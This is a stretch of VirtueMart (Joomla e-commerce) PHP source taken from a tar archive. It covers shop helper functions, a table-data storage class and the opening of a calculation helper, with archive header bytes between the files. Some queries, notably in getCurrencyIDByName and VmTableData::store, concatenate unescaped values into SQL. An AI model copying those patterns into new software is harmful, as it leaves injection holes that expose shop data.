				}
			}
		}
		return $vendorAddress;
	}



	public static $counter = 0;
	public static $categoryTree = 0;

	static public function categoryListTree ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) {

		if (empty(self::$categoryTree)) {
// 			vmTime('Start with categoryListTree');
			$cache = JFactory::getCache ('com_virtuemart_cats');
			$cached = $cache->getCaching();
			$cache->setCaching (1);
			self::$categoryTree = $cache->call (array('ShopFunctions', 'categoryListTreeLoop'), $selectedCategories, $cid, $level, $disabledFields);
			$cache->setCaching ($cached);
			// self::$categoryTree = self::categoryListTreeLoop($selectedCategories, $cid, $level, $disabledFields);
// 			vmTime('end loop categoryListTree '.self::$counter);
		}

		return self::$categoryTree;
	}

	/**
	 * Get feed
	 * @author valerie isaksen
	 * @param $rssUrl
	 * @param $max
	 * @return mixed
	 */
	static public function getCPsRssFeed($rssUrl,$max) {

		$cache_time=86400*3; // 3days
		$cache = JFactory::getCache ('com_virtuemart_rss');
		$cached = $cache->getCaching();
		$cache->setLifeTime($cache_time);
		$cache->setCaching (1);
		$feeds = $cache->call (array('ShopFunctions', 'getRssFeed'), $rssUrl, $max);
		$cache->setCaching ($cached);
		return $feeds;
	}

	/**
	 * @author Valerie Isaksen
	 * Returns the RSS feed from Extensions.virtuemart.net
	 * @return mixed
	 */
	public static $extFeeds = 0;
	static public function getExtensionsRssFeed() {
		if (empty(self::$extFeeds)) {
			self::$extFeeds =  ShopFunctions::getCPsRssFeed("http://extensions.virtuemart.net/?format=feed&type=rss", 15);
		}
		return self::$extFeeds;
	}
	/**
	 * @author Valerie Isaksen
	 * Returns the RSS feed from virtuemart.net
	 * @return mixed
	 */
	public static $vmFeeds = 0;
	static public function getVirtueMartRssFeed() {
		if (empty(self::$vmFeeds)) {
			self::$vmFeeds =  ShopFunctions::getCPsRssFeed("http://virtuemart.net/news/list-all-news?format=feed&type=rss", 5);
		}
		return self::$vmFeeds;
	}
	static public function getRssFeed ($rssURL,$max) {
		jimport('simplepie.simplepie');
		$rssFeed = new SimplePie($rssURL);

		$feeds = array();
		$count = $rssFeed->get_item_quantity();
		$limit=min($max,$count);
		for ($i = 0; $i < $limit; $i++) {
			$feed = new StdClass();
			$item = $rssFeed->get_item($i);
			$feed->link = $item->get_link();
			$feed->title = $item->get_title();
			$feed->description = $item->get_description();
			$feeds[] = $feed;
		}

		return $feeds;
	}
	/**
	 * Creates structured option fields for all categories
	 *
	 * @todo: Connect to vendor data
	 * @author Max Milbers, jseros
	 * @param array 	$selectedCategories All category IDs that will be pre-selected
	 * @param int 		$cid 		Internally used for recursion
	 * @param int 		$level 		Internally used for recursion
	 * @return string 	$category_tree HTML: Category tree list
	 */
	static public function categoryListTreeLoop ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) {

		self::$counter++;

		static $categoryTree = '';

		$virtuemart_vendor_id = 1;

// 		vmSetStartTime('getCategories');
		$categoryModel = VmModel::getModel ('category');
		$level++;

		$categoryModel->_noLimit = TRUE;
		$app = JFactory::getApplication ();
		$records = $categoryModel->getCategories ($app->isSite (), $cid);
// 		vmTime('getCategories','getCategories');
		$selected = "";
		if (!empty($records)) {
			foreach ($records as $key => $category) {

				$childId = $category->category_child_id;

				if ($childId != $cid) {
					if (in_array ($childId, $selectedCategories)) {
						$selected = 'selected=\"selected\"';
					} else {
						$selected = '';
					}

					$disabled = '';
					if (in_array ($childId, $disabledFields)) {
						$disabled = 'disabled="disabled"';
					}

					if ($disabled != '' && stristr ($_SERVER['HTTP_USER_AGENT'], 'msie')) {
						//IE7 suffers from a bug, which makes disabled option fields selectable
					} else {
						$categoryTree .= '<option ' . $selected . ' ' . $disabled . ' value="' . $childId . '">';
						$categoryTree .= str_repeat (' - ', ($level - 1));

						$categoryTree .= $category->category_name . '</option>';
					}
				}

				if ($categoryModel->hasChildren ($childId)) {
					self::categoryListTreeLoop ($selectedCategories, $childId, $level, $disabledFields);
				}

			}
		}

		return $categoryTree;
	}


	/**
	 * Return the countryname or code of a given countryID
	 *
	 * @author Oscar van Eijk
	 * @access public
	 * @param int $id Country ID
	 * @param char $fld Field to return: country_name (default), country_2_code or country_3_code.
	 * @return string Country name or code
	 */
	static public function getCountryByID ($id, $fld = 'country_name') {

		if (empty($id)) {
			return '';
		}

		$id = (int)$id;
		$db = JFactory::getDBO ();

		$q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_countries` WHERE virtuemart_country_id = ' . (int)$id;
		$db->setQuery ($q);
		return $db->loadResult ();
	}

	/**
	 * Return the virtuemart_country_id of a given country name
	 *
	 * @author Oscar van Eijk
	 * @author Max Milbers
	 * @access public
	 * @param string $name Country name (can be country_name or country_3_code  or country_2_code )
	 * @return int virtuemart_country_id
	 */
	static public function getCountryIDByName ($name) {

		if (empty($name)) {
			return 0;
		}
		$db = JFactory::getDBO ();

		if (strlen ($name) === 2) {
			$fieldname = 'country_2_code';
		} else {
			if (strlen ($name) === 3) {
				$fieldname = 'country_3_code';
			} else {
				$fieldname = 'country_name';
			}
		}
		$q = 'SELECT `virtuemart_country_id` FROM `#__virtuemart_countries` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"';
		$db->setQuery ($q);
		$r = $db->loadResult ();
		return $r;
	}

	/**
	 * Return the statename or code of a given virtuemart_state_id
	 *
	 * @author Oscar van Eijk
	 * @access public
	 * @param int $id State ID
	 * @param char $fld Field to return: state_name (default), state_2_code or state_3_code.
	 * @return string state name or code
	 */
	static public function getStateByID ($id, $fld = 'state_name') {

		if (empty($id)) {
			return '';
		}
		$db = JFactory::getDBO ();
		$q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$id . '"';
		$db->setQuery ($q);
		$r = $db->loadObject ();
		return $r->fld;
	}

	/**
	 * Return the stateID of a given state name
	 *
	 * @author Max Milbers
	 * @access public
	 * @param string $name Country name
	 * @return int virtuemart_state_id
	 */
	static public function getStateIDByName ($name) {

		if (empty($name)) {
			return 0;
		}
		$db = JFactory::getDBO ();
		if (strlen ($name) === 2) {
			$fieldname = 'state_2_code';
		} else {
			if (strlen ($name) === 3) {
				$fieldname = 'state_3_code';
			} else {
				$fieldname = 'state_name';
			}
		}
		$q = 'SELECT `virtuemart_state_id` FROM `#__virtuemart_states` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"';
		$db->setQuery ($q);
		$r = $db->loadResult ();
		return $r;
	}

	/*
	 * Returns the associative array for a given virtuemart_calc_id
	*
	* @author Valérie Isaksen
	* @access public
	* @param int $id virtuemart_calc_id
	* @return array Result row
	*/
	static public function getTaxByID ($id) {

		if (empty($id)) {
			return '';
		}

		$id = (int)$id;
		$db = JFactory::getDBO ();
		$q = 'SELECT  *   FROM `#__virtuemart_calcs` WHERE virtuemart_calc_id = ' . (int)$id;
		$db->setQuery ($q);
		return $db->loadAssoc ();

	}

	/**
	 * Return any field  from table '#__virtuemart_currencies'
	 *
	 * @author Valérie Isaksen
	 * @access public
	 * @param int $id Currency ID
	 * @param char $fld Field from table '#__virtuemart_currencies' to return: currency_name (default), currency_code_2, currency_code_3 etc.
	 * @return string Currency name or code
	 */
	static public function getCurrencyByID ($id, $fld = 'currency_name') {

		if (empty($id)) {
			return '';
		}
		static $currencyNameById = array();
		if(!isset($currencyNameById[$id][$fld])){
			$id = (int)$id;
			$db = JFactory::getDBO ();

			$q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_currencies` WHERE virtuemart_currency_id = ' . (int)$id;
			$db->setQuery ($q);
			$currencyNameById[$id][$fld] = $db->loadResult ();
		}

		return $currencyNameById[$id][$fld];
	}

	/**
	 * Return the currencyID of a given Currency name
	 * This function becomes dangerous if there is a currency name with 3 letters
	 * @author Valerie Isaksen, Max Milbers
	 * @access public
	 * @param string $name Currency name
	 * @return int virtuemart_currency_id
	 */
	static public function getCurrencyIDByName ($name) {

		if (empty($name)) {
			return 0;
		}
		static $currencyIdByName = array();
		if(!isset($currencyIdByName[$name])){
			$db = JFactory::getDBO ();
			if (strlen ($name) === 2) {
				$fieldname = 'currency_code_2';
			} else {
				if (strlen ($name) === 3) {
					$fieldname = 'currency_code_3';
				} else {
					$fieldname = 'currency_name';
				}
			}
			$q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies` WHERE `' . $fieldname . '` = "' . ($name) . '"';
			$db->setQuery ($q);
			$currencyIdByName[$name] = $db->loadResult ();
		}

		return $currencyIdByName[$name];
	}

	/**
	 * Print a select-list with enumerated categories
	 *
	 * @author jseros
	 *
	 * @param boolean $onlyPublished Show only published categories?
	 * @param boolean $withParentId Keep in mind $parentId param?
	 * @param integer $parentId Show only its childs
	 * @param string $attribs HTML attributes for the list
	 * @return string <Select /> HTML
	 */
	static public function getEnumeratedCategories ($onlyPublished = TRUE, $withParentId = FALSE, $parentId = 0, $name = '', $attribs = '', $key = '', $text = '', $selected = NULL) {

		$categoryModel = VmModel::getModel ('category');

		$categories = $categoryModel->getCategories ($onlyPublished, $parentId);

		foreach ($categories as $index => $cat) {
			$cat->category_name = $cat->ordering . '. ' . $cat->category_name;
			$categories[$index] = $cat;
		}
		return JHTML::_ ('Select.genericlist', $categories, $name, $attribs, $key, $text, $selected, $name);
	}

	/**
	 * Return the order status name for a given code
	 *
	 * @author Oscar van Eijk
	 * @access public
	 *
	 * @param char $_code Order status code
	 * @return string The name of the order status
	 */
	static public function getOrderStatusName ($_code) {

		$db = JFactory::getDBO ();

		$_q = 'SELECT `order_status_name` FROM `#__virtuemart_orderstates` WHERE `order_status_code` = "' . $db->getEscaped ($_code) . '"';
		$db->setQuery ($_q);
		$_r = $db->loadObject ();
		if (empty($_r->order_status_name)) {
			vmError ('getOrderStatusName: couldnt find order_status_name for ' . $_code);
			return 'current order status broken';
		} else {
			return JText::_($_r->order_status_name);
		}

	}

	/*
	 * @author Valerie
	 */
	static function InvoiceNumberReserved ($invoice_number) {

		if (($pos = strpos ($invoice_number, 'reservedByPayment_')) === FALSE) {
			return FALSE;
		} else {
			return TRUE;
		}
	}

	/**
	 * Creates an drop-down list with numbers from 1 to 31 or of the selected range,
	 * dont use within virtuemart. It is just meant for paymentmethods
	 *
	 * @param string $list_name The name of the select element
	 * @param string $selected_item The pre-selected value
	 */
	static function listDays ($list_name, $selected = FALSE, $start = NULL, $end = NULL) {

		$options = array();
		if (!$selected) {
			$selected = date ('d');
		}
		$start = $start ? $start : 1;
		$end = $end ? $end : $start + 30;
		$options[] = JHTML::_ ('select.option', 0, JText::_ ('DAY'));
		for ($i = $start; $i <= $end; $i++) {
			$options[] = JHTML::_ ('select.option', $i, $i);
		}
		return JHTML::_ ('select.genericlist', $options, $list_name, '', 'value', 'text', $selected);
	}


	/**
	 * Creates a Drop-Down List for the 12 months in a year
	 *
	 * @param string $list_name The name for the select element
	 * @param string $selected_item The pre-selected value
	 *
	 */
	static function listMonths ($list_name, $selected = FALSE, $attr = '', $format='F') {

		$options = array();
		if (!$selected) {
			$selected = date ('m');
		}
		$months=array(
			"01"=>JText::_ ('JANUARY'),
			"02"=>JText::_ ('FEBRUARY'),
			"03"=>JText::_ ('MARCH'),
			"04"=>JText::_ ('APRIL'),
			"05"=>JText::_ ('MAY'),
			"06"=>JText::_ ('JUNE'),
			"07"=>JText::_ ('JULY'),
			"08"=>JText::_ ('AUGUST'),
			"09"=>JText::_ ('SEPTEMBER'),
			"10"=>JText::_ ('OCTOBER'),
			"11"=>JText::_ ('NOVEMBER'),
			"12"=>JText::_ ('DECEMBER')
		);

		$options[] = JHTML::_ ('select.option', 0, JText::_ ('MONTH'));
		foreach($months as  $key => $value) {
			if ($format=='F') {
				$text=$value;
			} else {
				$text=$key;
			}
			$options[] = JHTML::_ ('select.option',$key, $text);
		}

		return JHTML::_ ('select.genericlist', $options, $list_name, $attr, 'value', 'text', $selected);

	}

	/**
	 * Creates an drop-down list with years of the selected range or of the next 7 years
	 *
	 * @param string $list_name The name of the select element
	 * @param string $selected_item The pre-selected value
	 */
	static function listYears ($list_name, $selected = FALSE, $start = NULL, $end = NULL, $attr = '') {

		$options = array();
		if (!$selected) {
			$selected = date ('Y');
		}
		$start = $start ? $start : date ('Y');
		$end = $end ? $end : $start + 7;
		$options[] = JHTML::_ ('select.option', 0, JText::_ ('YEAR'));
		for ($i = $start; $i <= $end; $i++) {
			$options[] = JHTML::_ ('select.option', $i, $i);
		}
		return JHTML::_ ('select.genericlist', $options, $list_name, $attr, 'value', 'text', $selected);
	}

	static function checkboxListArr ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $required = 0) {

		reset ($arr);
		$html = array();
		$n = count ($arr);
		for ($i = 0; $i < $n; $i++) {
			$k = $arr[$i]->$key;
			$t = $arr[$i]->$text;
			$id = isset($arr[$i]->id) ? $arr[$i]->id : NULL;

			$extra = '';
			$extra .= $id ? " id=\"" . $arr[$i]->id . "\"" : '';
			if (is_array ($selected)) {
				foreach ($selected as $obj) {
					$k2 = $obj->$key;
					if ($k == $k2) {
						$extra .= " checked=\"checked\"";
						break;
					}
				}
			} else {
				$extra .= ($k == $selected ? " checked=\"checked\"" : '');
			}
			$tmp = "<input type=\"checkbox\" name=\"$tag_name\" id=\"" . str_replace ('[]', '', $tag_name) . "_field$i\" value=\"" . $k . "\"$extra $tag_attribs />" . "<label for=\"" . str_replace ('[]', '', $tag_name) . "_field$i\">";
			$tmp .= JText::_ ($t);
			$tmp .= "</label>";
			$html[] = $tmp;
		}
		return $html;
	}

	function checkboxList ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $required = 0) {

		return "\n\t" . implode ("\n\t", vmCommonHTML::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required)) . "\n";
	}

	function checkboxListTable ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $cols = 0, $rows = 0, $size = 0, $required = 0) {

		$cellsHtml = self::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required);
		return self::list2Table ($cellsHtml, $cols, $rows, $size);
	}

	// private methods:
	private function list2Table ($cellsHtml, $cols, $rows, $size) {

		$cells = count ($cellsHtml);
		if ($size == 0) {
			$localstyle = ""; //" style='width:100%'";
		} else {
			$size = (($size - ($size % 3)) / 3) * 2; // int div  3 * 2 width/heigh ratio
			$localstyle = " style='width:" . $size . "em;'";
		}
		$return = "";
		if ($cells) {
			if ($rows) {
				$return = "\n\t<table class='vmMulti'" . $localstyle . ">";
				$cols = ($cells - ($cells % $rows)) / $rows; // int div
				if ($cells % $rows) {
					$cols++;
				}
				$lineIdx = 0;
				for ($lineIdx = 0; $lineIdx < min ($rows, $cells); $lineIdx++) {
					$return .= "\n\t\t<tr>";
					for ($i = $lineIdx; $i < $cells; $i += $rows) {
						$return .= "<td>" . $cellsHtml[$i] . "</td>";
					}
					$return .= "</tr>\n";
				}
				$return .= "\t</table>\n";
			} else {
				if ($cols) {
					$return = "\n\t<table class='vmMulti'" . $localstyle . ">";
					$idx = 0;
					while ($cells) {
						$return .= "\n\t\t<tr>";
						for ($i = 0, $n = min ($cells, $cols); $i < $n; $i++, $cells--) {
							$return .= "<td>" . $cellsHtml[$idx++] . "</td>";
						}
						$return .= "</tr>\n";
					}
					$return .= "\t</table>\n";
				} else {
					$return = "\n\t" . implode ("\n\t ", $cellsHtml) . "\n";
				}
			}
		}
		return $return;
	}

	/**
	 * Return $str with all but $display_length at the end as asterisks.
	 *
	 * @author gday
	 *
	 * @access public
	 * @param string $str The string to mask
	 * @param int $display_length The length at the end of the string that is NOT masked
	 * @param boolean $reversed When true, masks the end. Masks from the beginning at default
	 * @return string The string masked by asteriks
	 */
	public function asteriskPad ($str, $display_length, $reversed = FALSE) {

		$total_length = strlen ($str);

		if ($total_length > $display_length) {
			if (!$reversed) {
				for ($i = 0; $i < $total_length - $display_length; $i++) {
					$str[$i] = "*";
				}
			} else {
				for ($i = $total_length - 1; $i >= $total_length - $display_length; $i--) {
					$str[$i] = "*";
				}
			}
		}

		return ($str);
	}

	/**
	 * Return the icon to move an item UP
	 *
	 * @access	public
	 * @param	int		$i The row index
	 * @param	boolean	$condition True to show the icon
	 * @param	string	$task The task to fire
	 * @param	string	$alt The image alternate text string
	 * @return	string	Either the icon to move an item up or a space
	 * @since	1.0
	 */
	function orderUpIcon ($i, $condition = TRUE, $task = 'orderup', $alt = 'COM_VIRTUEMART_MOVE_UP', $enabled = TRUE) {

		$alt = JText::_ ($alt);

		$html = '&nbsp;';
		if ($i > 0) {
			if ($enabled) {
				$html = '<a href="#reorder"  class="orderUp" title="' . $alt . '">';
				$html .= '   <img src="images/uparrow.png" width="16" height="16" border="0" alt="' . $alt . '" />';
				$html	.= '</a>';
			} else {
				$html = '<img src="images/uparrow0.png" width="16" height="16" border="0" alt="' . $alt . '" />';
			}
		}

		return $html;
	}

	/**
	 * Return the icon to move an item DOWN
	 *
	 * @access	public
	 * @param	int		$i The row index
	 * @param	int		$n The number of items in the list
	 * @param	boolean	$condition True to show the icon
	 * @param	string	$task The task to fire
	 * @param	string	$alt The image alternate text string
	 * @return	string	Either the icon to move an item down or a space
	 * @since	1.0
	 */
	function orderDownIcon ($i, $n, $condition = TRUE, $task = 'orderdown', $alt = 'Move Down', $enabled = TRUE) {

		$alt = JText::_ ($alt);

		$html = '&nbsp;';
		if ($i < $n - 1) {
			if ($enabled) {
				$html = '<a href="#reorder" class="orderDown" title="' . $alt . '">';
				$html .= '  <img src="images/downarrow.png" width="16" height="16" border="0" alt="' . $alt . '" />';
				$html	.= '</a>';
			} else {
				$html = '<img src="images/downarrow0.png" width="16" height="16" border="0" alt="' . $alt . '" />';
			}
		}

		return $html;
	}

	static function getValidProductFilterArray () {

		static $filterArray;

		if (!isset($filterArray)) {
			/*
			$filterArray = array('p.virtuemart_product_id', 'p.product_sku','pp.product_price','c.category_name','c.category_description',
			'm.mf_name', 'l.product_s_desc', 'p.product_desc', 'p.product_weight', 'p.product_weight_uom', 'p.product_length', 'p.product_width',
			'p.product_height', 'p.product_lwh_uom', 'p.product_in_stock', 'p.low_stock_notification', 'p.product_available_date',
			'p.product_availability', 'p.product_special', 'p.created_on', 'p.modified_on', 'l.product_name', 'p.product_sales',
			'p.product_unit', 'p.product_packaging', 'p.intnotes', 'l.metadesc', 'l.metakey', 'p.metarobot', 'p.metaauthor');
			}
			*/
			$filterArray = array('product_name', '`p`.created_on', '`p`.product_sku',
			                     'product_s_desc', 'product_desc','`l`.slug',
			                     'category_name', 'category_description', 'mf_name',
			                     'product_price', '`p`.product_special', '`p`.product_sales', '`p`.product_availability', '`p`.product_available_date',
			                     '`p`.product_height', '`p`.product_width', '`p`.product_length', '`p`.product_lwh_uom',
			                     '`p`.product_weight', '`p`.product_weight_uom', '`p`.product_in_stock', '`p`.low_stock_notification',
			                     '`p`.modified_on',
			                     '`p`.product_unit', '`p`.product_packaging', '`p`.virtuemart_product_id', 'pc.ordering');
			//other possible fields
			//'p.intnotes',		this is maybe interesting, but then only for admins or special shoppergroups

			// this fields leads to trouble, because we have this fields in product, category and manufacturer,
			// they are anyway making not a lot sense for orderby or search.
			//'l.metadesc', 'l.metakey', 'l.metarobot', 'l.metaauthor'
		}

		return $filterArray;
	}

	/**
	 * Returns developer information for a plugin
	 * Returns a 2 link with background image, should look like a button to open contact page or manual
	 *
	 * @static
	 * @param $title string Title of the plugin
	 * @param $intro string Intro text
	 * @param $logolink url Url to logo images, use here the path and then as image names contact.png and manual.png
	 * @param $developer string Name of the developer/company
	 * @param $contactlink url Url to the contact form of the developer for support
	 * @param $manlink url URL to the manual for this specific plugin
	 * @return string
	 */
	static function display3rdInfo($title,$intro,$developer,$logolink,$contactlink,$manlink,$width='96px',$height='66px',$linesHeight='33px'){

		$html = $intro;

		$html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_CONTACT',$developer),$contactlink, $logolink.'/contact.png',$width,$height,$linesHeight);
		$html .='<br />';
		$html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_MANUAL',$title),$manlink, $logolink.'/manual.png',$width,$height,$linesHeight);

		return $html;
	}


	static function displayLinkButton($title, $link, $bgrndImage,$width,$height,$linesHeight,$additionalStyles=''){

		//$lineHeight = ((int)$height)/$lines;
		//vmdebug('displayLinkButton '.$height.' '.$lineHeight);
		$html = '<div style="line-height:'.$linesHeight.';background-image:url('.$bgrndImage.');width:'.$width.';height:'.$height.';'.$additionalStyles.'">'
			.'<a  title="'.$title.'" href="'.$link.'" target="_blank" >'.$title .'</a></div>';

		return $html;
	}

	static $tested = False;
	static function checkSafePath($safePath=0){


		if($safePath==0) {
			$safePath = VmConfig::get('forSale_path',0);
			if(self::$tested) return $safePath;
		}

		$warn = FALSE;
		$uri = JFactory::getURI();
		$configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config';
		VmConfig::loadJLang('com_virtuemart');
		if(empty($safePath)){
			$warn = 'COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET';
		} else {
			$exists = JFolder::exists($safePath);
			if(!$exists){
				$warn = 'COM_VIRTUEMART_WARN_SAFE_PATH_WRONG';
			} else{
				if(!is_writable( $safePath )){
					VmConfig::loadJLang('com_virtuemart_config');
					VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink);
				} else {
					if(!is_writable(self::getInvoicePath($safePath) )){
						VmConfig::loadJLang('com_virtuemart_config');
						VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink);
					}
				}
			}
		}

		if($warn){
			$suggestedPath=shopFunctions::getSuggestedSafePath();
			VmConfig::loadJLang('com_virtuemart_config');
			VmWarn($warn,JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$suggestedPath,$configlink);
			return FALSE;
		}

		return $safePath;
	}
	/*
	 * get The invoice Folder Name
	 * @return the invoice folder name
	 */
	static function getInvoiceFolderName() {
		return   'invoices' ;
	}
	/*
	 * get The invoice path
	 * @param $safePath the safepath from the config
	 * @return the path where the invoice are stored
	 */
	static function getInvoicePath($safePath) {
		return  $safePath.self::getInvoiceFolderName() ;
	}

	/*
	 * Returns the suggested safe Path, used to store the invoices
	 * @static
	 * @return string: suggested safe path
	 */
	static public function getSuggestedSafePath() {
		$lastIndex= strrpos(JPATH_ROOT,DS);
		return substr(JPATH_ROOT,0,$lastIndex).DS.'vmfiles';
	}
	/*
	 * @author Valerie Isaksen
	 */
	static public function renderProductShopperList ($productShoppers) {

		$html = '';
		$i=0;
		if(empty($productShoppers)) return '';
		foreach ($productShoppers as $email => $productShopper) {
			$html .= '<tr  class="customer row'.$i.'" data-cid="' . $productShopper['email'] . '">
			<td rowspan ="'.$productShopper['nb_orders'] .'">' . $productShopper['name'] . '</td>
			<td rowspan ="'.$productShopper['nb_orders'] .'><a class="mailto" href="' . $productShopper['mail_to'] . '"><span class="mail">' . $productShopper['email'] . '</span></a></td>
			<td rowspan ="'.$productShopper['nb_orders'] .'class="shopper_phone">' . $productShopper['phone'] . '</td>';
			$first=TRUE;
			foreach ($productShopper['order_info'] as $order_info) {
				if (!$first)
					$html .= '<tr class="row'.$i.'">';
				$html .= '<td class="quantity">';
				$html .= $order_info['quantity'];
				$html .= '</td>';
				$html .= '<td class="order_status">';
				$html .= JText::_($order_info['order_item_status_name']);
				$html .= '</td>
			<td class="order_number">';
				$uri = JFactory::getURI();
				$link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $order_info['order_id'];
				$html .= JHTML::_ ('link', $link, $order_info['order_number'], array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order_info['order_number']));
				$first=FALSE;
				$html .= '
					</td>
				</tr>
				';
			}
			$i = 1 - $i;
		}
		if (empty($html)) {
			$html = '
				<tr class="customer">
					<td colspan="4">
						' . JText::_ ('COM_VIRTUEMART_NO_SEARCH_RESULT') . '
					</td>
				</tr>
				';
		}

		return $html;
	}

	static public function renderMetaEdit($obj){

		$options = array(
			''	=>	JText::_('JGLOBAL_INDEX_FOLLOW'),
			'noindex, follow'	=>	JText::_('JGLOBAL_NOINDEX_FOLLOW'),
			'index, nofollow'	=>	JText::_('JGLOBAL_INDEX_NOFOLLOW'),
			'noindex, nofollow'	=>	JText::_('JGLOBAL_NOINDEX_NOFOLLOW'),
			'noodp, noydir'	=>	JText::_('COM_VIRTUEMART_NOODP_NOYDIR'),
			'noodp, noydir, nofollow'	=>	JText::_('COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW'),
		);
		$html = '<table>
					'.VmHTML::row('input','COM_VIRTUEMART_CUSTOM_PAGE_TITLE','customtitle',$obj->customtitle).'
					'.VmHTML::row('textarea','COM_VIRTUEMART_METAKEY','metakey',$obj->metakey,'class="inputbox"',80).'
					'.VmHTML::row('textarea','COM_VIRTUEMART_METADESC','metadesc',$obj->metadesc,'class="inputbox"',80).'
					'.VmHtml::row('selectList','COM_VIRTUEMART_METAROBOTS','metarobot',$obj->metarobot,$options).'
					'.VmHTML::row('input','COM_VIRTUEMART_METAAUTHOR','metaauthor',$obj->metaauthor).'
				</table>';
		return $html;
	}
}

//pure php no tag
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmtabledata.php�������������������������������������������������������������������������������������0000666�����������������00000005021�15137212725�0007550 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Xref table abstract class to create tables specialised doing xref
 *
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2011 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */

defined('_JEXEC') or die();


if(!class_exists('VmTable'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmtable.php');

class VmTableData extends VmTable {


	/**
	 * Records in this table do not need to exist, so we might need to create a record even
	 * if the primary key is set. Therefore we need to overload the store() function.
	 *
	 * @author Max Milbers
	 * @see libraries/joomla/database/JTable#store($updateNulls)
	 */
	public function store($updateNulls = false) {

		$this->setLoggableFieldsForStore();

		$this->storeParams();

		$tblKey = $this->_tbl_key;
		$pKey = $this->_pkey;

		if($tblKey == $pKey){
			$res = false;
			if(!empty($this->$tblKey)){
				$_qry = 'SELECT `'.$this->_tbl_key.'` '
				. 'FROM `'.$this->_tbl.'` '
				. 'WHERE `'.$this->_tbl_key.'` = "' . $this->$tblKey.'" ';
				$this->_db->setQuery($_qry);
				$res = $this->_db->loadResult();
			}
			if($res){
				$returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls);
			} else {
				$returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key);
			}
		} else {
			if(!empty($this->$pKey)){
				$_qry = 'SELECT `'.$this->_tbl_key.'` '
				. 'FROM `'.$this->_tbl.'` '
				. 'WHERE `'.$this->_pkey.'` = "' . $this->$pKey.'" ';
				$this->_db->setQuery($_qry);
				//Yes, overwriting $this->$tblKey is correct !
				$this->$tblKey = $this->_db->loadResult();
			}
			if ( !empty($this->$tblKey) ) {
				$returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls);
			} else {
				$returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key);
			}
		}

		// 		vmdebug('$_qry',$_qry,$pKey,$tblKey, $this->$tblKey);
		//		vmError($_qry,'$_qry');

		if (!$returnCode) {
			vmError(get_class($this) . '::store failed - ' . $this->_db->getErrorMsg());
			return false;
		}
		else
		return true;
	}


}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������calculationh.php������������������������������������������������������������������������������������0000666�����������������00000214326�15137212725�0007744 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php

/**
 * Calculation helper class
 *
 * This class provides the functions for the calculations
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2010 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die();

class calculationHelper {

	protected $_db;
	protected $_shopperGroupId;
	var $_cats;
	protected $_now;
	protected $_nullDate;
	//	protected $_currency;
	protected $_debug;
	protected $_manufacturerId;
	protected $_deliveryCountry;
	protected $_deliveryState;
	public $_currencyDisplay;
	var $_cart = null;
	protected $_cartPrices = false;
	var $productPrices;
	var $_cartData;

	public $_amount;
	public $_amountCart = 0.0;
// 	public $override = 0;
